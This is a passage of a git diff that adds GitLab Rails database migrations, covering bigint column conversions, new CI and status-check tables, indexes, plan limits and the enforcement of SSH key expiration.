+ add_concurrent_index :analytics_devops_adoption_segments, :namespace_id, name: INDEX_NAME, unique: true
+ remove_concurrent_index_by_name :analytics_devops_adoption_segments, NEW_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb b/db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb
new file mode 100644
index 00000000000..70775eb3bb5
--- /dev/null
+++ b/db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfDeploymentsToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :deployments
+ COLUMNS = %i(deployable_id)
+
+ def up
+ initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+
+ def down
+ revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+end
diff --git a/db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb b/db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb
new file mode 100644
index 00000000000..6de89cadef8
--- /dev/null
+++ b/db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class BackfillDeploymentsForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :deployments
+ COLUMNS = %i(deployable_id)
+
+ def up
+ backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
+ end
+
+ def down
+ revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
+ end
+end
diff --git a/db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb b/db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb
new file mode 100644
index 00000000000..3e8bcf1851a
--- /dev/null
+++ b/db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfGeoJobArtifactDeletedEventsToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :geo_job_artifact_deleted_events
+ COLUMNS = %i(job_artifact_id)
+
+ def up
+ initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+
+ def down
+ revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+end
diff --git a/db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb b/db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb
new file mode 100644
index 00000000000..eab79a33006
--- /dev/null
+++ b/db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class BackfillGeoJobArtifactDeletedEventsForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :geo_job_artifact_deleted_events
+ COLUMNS = %i(job_artifact_id)
+
+ def up
+ backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
+ end
+
+ def down
+ revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
+ end
+end
diff --git a/db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb b/db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb
new file mode 100644
index 00000000000..508ad92f9e5
--- /dev/null
+++ b/db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddLatestPipelineIdIntoVulnerabilityStatisticsTable < ActiveRecord::Migration[6.0]
+ def change
+ add_column :vulnerability_statistics, :latest_pipeline_id, :bigint
+ end
+end
diff --git a/db/migrate/20210526135911_create_ci_minutes_additional_packs.rb b/db/migrate/20210526135911_create_ci_minutes_additional_packs.rb
new file mode 100644
index 00000000000..3464268a77f
--- /dev/null
+++ b/db/migrate/20210526135911_create_ci_minutes_additional_packs.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class CreateCiMinutesAdditionalPacks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ create_table_with_constraints :ci_minutes_additional_packs, if_not_exists: true do |t|
+ t.timestamps_with_timezone
+
+ t.references :namespace, index: false, null: false, foreign_key: { on_delete: :cascade }
+ t.date :expires_at, null: true
+ t.integer :number_of_minutes, null: false
+ t.text :purchase_xid, null: true
+ t.text_limit :purchase_xid, 32
+
+ t.index [:namespace_id, :purchase_xid], name: 'index_ci_minutes_additional_packs_on_namespace_id_purchase_xid'
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :ci_minutes_additional_packs
+ end
+ end
+end
diff --git a/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb b/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
new file mode 100644
index 00000000000..b9cefe456b8
--- /dev/null
+++ b/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class RenameSyncSecurityReportApprovalRulesSidekiqQueue < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ sidekiq_queue_migrate 'sync_security_reports_to_report_approval_rules', to: 'ci_sync_reports_to_report_approval_rules'
+ end
+
+ def down
+ sidekiq_queue_migrate 'ci_sync_reports_to_report_approval_rules', to: 'sync_security_reports_to_report_approval_rules'
+ end
+end
diff --git a/db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb b/db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb
new file mode 100644
index 00000000000..dd11b1e6f11
--- /dev/null
+++ b/db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToVulnerabilityStatisticsOnLatestPipelineId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_vulnerability_statistics_on_latest_pipeline_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :vulnerability_statistics, :latest_pipeline_id, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerability_statistics, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb b/db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb
new file mode 100644
index 00000000000..adcac5e2637
--- /dev/null
+++ b/db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddForeignKeyForLatestPipelineIdToCiPipelines < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :vulnerability_statistics, :ci_pipelines, column: :latest_pipeline_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :vulnerability_statistics, :ci_pipelines
+ end
+ end
+end
diff --git a/db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb b/db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb
new file mode 100644
index 00000000000..074bec31160
--- /dev/null
+++ b/db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddCiDailyPipelineScheduleTriggersToPlanLimits < ActiveRecord::Migration[6.0]
+ def change
+ add_column(:plan_limits, :ci_daily_pipeline_schedule_triggers, :integer, default: 0, null: false)
+ end
+end
diff --git a/db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb b/db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb
new file mode 100644
index 00000000000..fe0969c15fb
--- /dev/null
+++ b/db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class InsertCiDailyPipelineScheduleTriggersPlanLimits < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ EVERY_5_MINUTES = (1.day.in_minutes / 5).to_i
+ EVERY_HOUR = 1.day.in_hours.to_i
+
+ def up
+ return unless Gitlab.com?
+
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'free', EVERY_HOUR)
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'bronze', EVERY_5_MINUTES)
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'silver', EVERY_5_MINUTES)
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'gold', EVERY_5_MINUTES)
+ end
+
+ def down
+ return unless Gitlab.com?
+
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'free', 0)
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'bronze', 0)
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'silver', 0)
+ create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'gold', 0)
+ end
+end
diff --git a/db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb b/db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb
new file mode 100644
index 00000000000..62ccdb6a4fd
--- /dev/null
+++ b/db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexForCadenceIterationsAutomation < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'cadence_create_iterations_automation'
+
+ disable_ddl_transaction!
+
+ def up
+ # no-op
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb b/db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb
new file mode 100644
index 00000000000..5f60a7f25c2
--- /dev/null
+++ b/db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class RenameExperimentSubjectsGroupIdToNamespaceId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers::V2
+
+ disable_ddl_transaction!
+
+ def up
+ rename_column_concurrently :experiment_subjects, :group_id, :namespace_id
+ end
+
+ def down
+ undo_rename_column_concurrently :experiment_subjects, :group_id, :namespace_id
+ end
+end
diff --git a/db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb b/db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb
new file mode 100644
index 00000000000..9c1cd94dbaa
--- /dev/null
+++ b/db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddDiffMaxLinesToApplicationSettings < ActiveRecord::Migration[6.0]
+ def change
+ add_column(:application_settings,
+ :diff_max_lines,
+ :integer,
+ default: 50000,
+ null: false)
+ end
+end
diff --git a/db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb b/db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb
new file mode 100644
index 00000000000..60b1f74cfd0
--- /dev/null
+++ b/db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddDiffMaxFilesToApplicationSettings < ActiveRecord::Migration[6.0]
+ def change
+ add_column(:application_settings,
+ :diff_max_files,
+ :integer,
+ default: 1000,
+ null: false)
+ end
+end
diff --git a/db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb b/db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb
new file mode 100644
index 00000000000..8fb489ac537
--- /dev/null
+++ b/db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddPreventSharingGroupsOutsideHierarchyToNamespaceSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :namespace_settings, :prevent_sharing_groups_outside_hierarchy, :boolean, null: false, default: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :namespace_settings, :prevent_sharing_groups_outside_hierarchy
+ end
+ end
+end
diff --git a/db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb b/db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb
new file mode 100644
index 00000000000..aaa94b9a231
--- /dev/null
+++ b/db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class CreateCiJobTokenProjectScopeLinks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ create_table :ci_job_token_project_scope_links, if_not_exists: true do |t|
+ t.belongs_to :source_project, index: false, null: false, foreign_key: { to_table: :projects, on_delete: :cascade }
+ t.belongs_to :target_project, null: false, foreign_key: { to_table: :projects, on_delete: :cascade }
+ t.belongs_to :added_by, foreign_key: { to_table: :users, on_delete: :nullify }
+ t.datetime_with_timezone :created_at, null: false
+
+ t.index [:source_project_id, :target_project_id], unique: true, name: 'i_ci_job_token_project_scope_links_on_source_and_target_project'
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :ci_job_token_project_scope_links, if_exists: true
+ end
+ end
+end
diff --git a/db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb b/db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb
new file mode 100644
index 00000000000..47e7e2c757d
--- /dev/null
+++ b/db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class ChangeIterationsTitleUniquenessIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_sprints_on_iterations_cadence_id_and_title'
+ OLD_INDEX_NAME = 'index_sprints_on_group_id_and_title'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :sprints, [:iterations_cadence_id, :title], name: INDEX_NAME, unique: true
+ remove_concurrent_index_by_name :sprints, OLD_INDEX_NAME
+ end
+
+ def down
+ # noop
+ # rollback would not work as we can have duplicate records once the unique `index_sprints_on_group_id_and_title` index is removed
+ end
+end
diff --git a/db/migrate/20210531053916_rename_instance_statistics_measurements.rb b/db/migrate/20210531053916_rename_instance_statistics_measurements.rb
new file mode 100644
index 00000000000..9fd459b1275
--- /dev/null
+++ b/db/migrate/20210531053916_rename_instance_statistics_measurements.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class RenameInstanceStatisticsMeasurements < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ rename_table_safely(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
+ end
+
+ def down
+ undo_rename_table_safely(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
+ end
+end
diff --git a/db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb b/db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb
new file mode 100644
index 00000000000..8ddbb528962
--- /dev/null
+++ b/db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class DefaultEnforceSshKeyExpiration < ActiveRecord::Migration[6.0]
+ def change
+ change_column_default(:application_settings, :enforce_ssh_key_expiration, from: false, to: true)
+ end
+end
diff --git a/db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb b/db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb
new file mode 100644
index 00000000000..c164183fbf8
--- /dev/null
+++ b/db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class EnableEnforceSshKeyExpiration < ActiveRecord::Migration[6.0]
+ class ApplicationSetting < ActiveRecord::Base
+ self.table_name = 'application_settings'
+ end
+
+ def up
+ ApplicationSetting.reset_column_information
+
+ ApplicationSetting.where.not(enforce_ssh_key_expiration: true).each do |application_setting|
+ application_setting.update!(enforce_ssh_key_expiration: true)
+ end
+ end
+end
diff --git a/db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb b/db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb
new file mode 100644
index 00000000000..611619e496c
--- /dev/null
+++ b/db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+class GroupProtectedEnvironmentsAddIndexAndConstraint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_protected_environments_on_group_id_and_name'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :protected_environments, [:group_id, :name], unique: true,
+ name: INDEX_NAME, where: 'group_id IS NOT NULL'
+ add_concurrent_foreign_key :protected_environments, :namespaces, column: :group_id, on_delete: :cascade
+
+ add_check_constraint :protected_environments,
+ "((project_id IS NULL) != (group_id IS NULL))",
+ :protected_environments_project_or_group_existence
+ end
+
+ def down
+ remove_group_protected_environments!
+
+ remove_check_constraint :protected_environments, :protected_environments_project_or_group_existence
+ remove_foreign_key_if_exists :protected_environments, column: :group_id
+ remove_concurrent_index_by_name :protected_environments, name: INDEX_NAME
+ end
+
+ private
+
+ def remove_group_protected_environments!
+ execute <<-SQL
+ DELETE FROM protected_environments WHERE group_id IS NOT NULL
+ SQL
+ end
+end
diff --git a/db/migrate/20210601123341_add_running_builds_table.rb b/db/migrate/20210601123341_add_running_builds_table.rb
new file mode 100644
index 00000000000..4093619d2c3
--- /dev/null
+++ b/db/migrate/20210601123341_add_running_builds_table.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddRunningBuildsTable < ActiveRecord::Migration[6.0]
+ def up
+ create_table :ci_running_builds do |t|
+ t.references :build, index: { unique: true }, null: false, foreign_key: { to_table: :ci_builds, on_delete: :cascade }
+ t.references :project, index: true, null: false, foreign_key: { on_delete: :cascade }
+ t.references :runner, index: true, null: false, foreign_key: { to_table: :ci_runners, on_delete: :cascade }
+ t.datetime_with_timezone :created_at, null: false, default: -> { 'NOW()' }
+ t.integer :runner_type, limit: 2, null: false
+ end
+ end
+
+ def down
+ drop_table :ci_running_builds
+ end
+end
diff --git a/db/migrate/20210601125410_add_runners_created_at_index.rb b/db/migrate/20210601125410_add_runners_created_at_index.rb
new file mode 100644
index 00000000000..6a6be6d8480
--- /dev/null
+++ b/db/migrate/20210601125410_add_runners_created_at_index.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddRunnersCreatedAtIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_runners, [:created_at, :id], order: { id: :desc }, name: 'index_ci_runners_on_created_at_and_id_desc'
+ add_concurrent_index :ci_runners, [:created_at, :id], order: { created_at: :desc, id: :desc }, name: 'index_ci_runners_on_created_at_desc_and_id_desc'
+ end
+
+ def down
+ remove_concurrent_index :ci_runners, [:created_at, :id], order: { id: :desc }, name: 'index_ci_runners_on_created_at_and_id_desc'
+ remove_concurrent_index :ci_runners, [:created_at, :id], order: { created_at: :desc, id: :desc }, name: 'index_ci_runners_on_created_at_desc_and_id_desc'
+ end
+end
diff --git a/db/migrate/20210601131742_update_web_hook_calls_limit.rb b/db/migrate/20210601131742_update_web_hook_calls_limit.rb
new file mode 100644
index 00000000000..6af0facd17d
--- /dev/null
+++ b/db/migrate/20210601131742_update_web_hook_calls_limit.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class UpdateWebHookCallsLimit < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ return unless Gitlab.com?
+
+ create_or_update_plan_limit('web_hook_calls', 'free', 120)
+ end
+
+ def down
+ return unless Gitlab.com?
+
+ create_or_update_plan_limit('web_hook_calls', 'free', 0)
+ end
+end
diff --git a/db/migrate/20210601133459_replace_runners_contacted_at_index.rb b/db/migrate/20210601133459_replace_runners_contacted_at_index.rb
new file mode 100644
index 00000000000..a0a933721f0
--- /dev/null
+++ b/db/migrate/20210601133459_replace_runners_contacted_at_index.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class ReplaceRunnersContactedAtIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ OLD_INDEX_NAME = 'index_ci_runners_on_contacted_at'
+
+ def up
+ add_concurrent_index :ci_runners, [:contacted_at, :id], order: { id: :desc }, name: 'index_ci_runners_on_contacted_at_and_id_desc', using: 'btree'
+ add_concurrent_index :ci_runners, [:contacted_at, :id], order: { contacted_at: :desc, id: :desc }, name: 'index_ci_runners_on_contacted_at_desc_and_id_desc', using: 'btree'
+
+ remove_concurrent_index_by_name :ci_runners, OLD_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runners, 'index_ci_runners_on_contacted_at_and_id_desc'
+ remove_concurrent_index_by_name :ci_runners, 'index_ci_runners_on_contacted_at_desc_and_id_desc'
+
+ add_concurrent_index :ci_runners, :contacted_at, name: OLD_INDEX_NAME, using: 'btree'
+ end
+end
diff --git a/db/migrate/20210602122213_add_upcoming_reconciliations.rb b/db/migrate/20210602122213_add_upcoming_reconciliations.rb
new file mode 100644
index 00000000000..90d0013b357
--- /dev/null
+++ b/db/migrate/20210602122213_add_upcoming_reconciliations.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddUpcomingReconciliations < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ create_table :upcoming_reconciliations do |t|
+ t.references :namespace, index: { unique: true }, null: true, foreign_key: { on_delete: :cascade }
+ t.date :next_reconciliation_date, null: false
+ t.date :display_alert_from, null: false
+
+ t.timestamps_with_timezone
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :upcoming_reconciliations
+ end
+ end
+end
diff --git a/db/migrate/20210602122233_add_runners_description_index.rb b/db/migrate/20210602122233_add_runners_description_index.rb
new file mode 100644
index 00000000000..ae779e62f0f
--- /dev/null
+++ b/db/migrate/20210602122233_add_runners_description_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddRunnersDescriptionIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_ci_runners_on_description_trigram'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_runners, :description, name: INDEX_NAME, using: :gin, opclass: { description: :gin_trgm_ops }
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runners, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210603140302_add_pronouns_to_user_details.rb b/db/migrate/20210603140302_add_pronouns_to_user_details.rb
new file mode 100644
index 00000000000..f28d45bdf6f
--- /dev/null
+++ b/db/migrate/20210603140302_add_pronouns_to_user_details.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddPronounsToUserDetails < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20210607050531_add_text_limit_to_user_details_pronouns
+ with_lock_retries do
+ add_column :user_details, :pronouns, :text, null: true
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :user_details, :pronouns
+ end
+ end
+end
diff --git a/db/migrate/20210603222333_remove_builds_email_service_from_services.rb b/db/migrate/20210603222333_remove_builds_email_service_from_services.rb
new file mode 100644
index 00000000000..791b8b659af
--- /dev/null
+++ b/db/migrate/20210603222333_remove_builds_email_service_from_services.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class RemoveBuildsEmailServiceFromServices < ActiveRecord::Migration[6.1]
+ def up
+ execute("DELETE from services WHERE type = 'BuildsEmailService'")
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210604082145_create_external_status_checks_table.rb b/db/migrate/20210604082145_create_external_status_checks_table.rb
new file mode 100644
index 00000000000..c1ad3df6c9e
--- /dev/null
+++ b/db/migrate/20210604082145_create_external_status_checks_table.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class CreateExternalStatusChecksTable < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :external_status_checks, if_not_exists: true do |t|
+ t.references :project, foreign_key: { on_delete: :cascade }, null: false, index: false
+ t.timestamps_with_timezone
+ t.text :external_url, null: false
+ t.text_limit :external_url, 255
+ t.text :name, null: false
+ t.text_limit :name, 255
+
+ t.index([:project_id, :name],
+ unique: true,
+ name: 'idx_on_external_status_checks_project_id_name')
+ t.index([:project_id, :external_url],
+ unique: true,
+ name: 'idx_on_external_status_checks_project_id_external_url')
+ end
+
+ create_table :external_status_checks_protected_branches do |t|
+ t.bigint :external_status_check_id, null: false
+ t.bigint :protected_branch_id, null: false
+
+ t.index :external_status_check_id, name: 'index_esc_protected_branches_on_external_status_check_id'
+ t.index :protected_branch_id, name: 'index_esc_protected_branches_on_protected_branch_id'
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :external_status_checks_protected_branches, force: :cascade, if_exists: true
+ end
+
+ with_lock_retries do
+ drop_table :external_status_checks, force: :cascade, if_exists: true
+ end
+ end
+end
diff --git a/db/migrate/20210604085600_rename_status_check_responses_approval_rule.rb b/db/migrate/20210604085600_rename_status_check_responses_approval_rule.rb
new file mode 100644
index 00000000000..a12aef9455d
--- /dev/null
+++ b/db/migrate/20210604085600_rename_status_check_responses_approval_rule.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+class RenameStatusCheckResponsesApprovalRule < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ execute('DELETE FROM status_check_responses')
+
+ unless column_exists?(:status_check_responses, :external_status_check_id)
+ add_column :status_check_responses, :external_status_check_id, :bigint, null: false # rubocop:disable Rails/NotNullColumn
+ end
+
+ add_concurrent_foreign_key :status_check_responses, :external_status_checks, column: :external_status_check_id, on_delete: :cascade
+ add_concurrent_foreign_key :status_check_responses, :merge_requests, column: :merge_request_id, on_delete: :cascade
+
+ add_concurrent_index :status_check_responses, :external_status_check_id
+
+ # Setting this to true so that we can remove the column in a future release once the column has been removed. It has been ignored in 14.0
+ change_column_null :status_check_responses, :external_approval_rule_id, true
+
+ with_lock_retries do
+ remove_foreign_key :status_check_responses, :external_approval_rules
+ end
+ end
+
+ def down
+ change_column_null :status_check_responses, :external_approval_rule_id, false
+ with_lock_retries do
+ add_foreign_key :status_check_responses, :external_approval_rules
+ end
+ remove_column :status_check_responses, :external_status_check_id
+ end
+end
diff --git a/db/migrate/20210607050531_add_text_limit_to_user_details_pronouns.rb b/db/migrate/20210607050531_add_text_limit_to_user_details_pronouns.rb
new file mode 100644
index 00000000000..41c543e5deb
--- /dev/null
+++ b/db/migrate/20210607050531_add_text_limit_to_user_details_pronouns.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddTextLimitToUserDetailsPronouns < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :user_details, :pronouns, 50
+ end
+
+ def down
+ remove_text_limit :user_details, :pronouns
+ end
+end
diff --git a/db/migrate/20210607080044_remove_temporary_index_on_security_findings_scan_id.rb b/db/migrate/20210607080044_remove_temporary_index_on_security_findings_scan_id.rb
new file mode 100644
index 00000000000..5357059f475
--- /dev/null
+++ b/db/migrate/20210607080044_remove_temporary_index_on_security_findings_scan_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class RemoveTemporaryIndexOnSecurityFindingsScanId < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'tmp_index_on_security_findings_scan_id'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :security_findings, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :security_findings, :scan_id, where: 'uuid is null', name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210607154719_add_job_token_scope_enabled_to_ci_cd_settings.rb b/db/migrate/20210607154719_add_job_token_scope_enabled_to_ci_cd_settings.rb
new file mode 100644
index 00000000000..20b9e8d95ee
--- /dev/null
+++ b/db/migrate/20210607154719_add_job_token_scope_enabled_to_ci_cd_settings.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddJobTokenScopeEnabledToCiCdSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :project_ci_cd_settings, :job_token_scope_enabled, :boolean, default: false, null: false
+ end
+ end
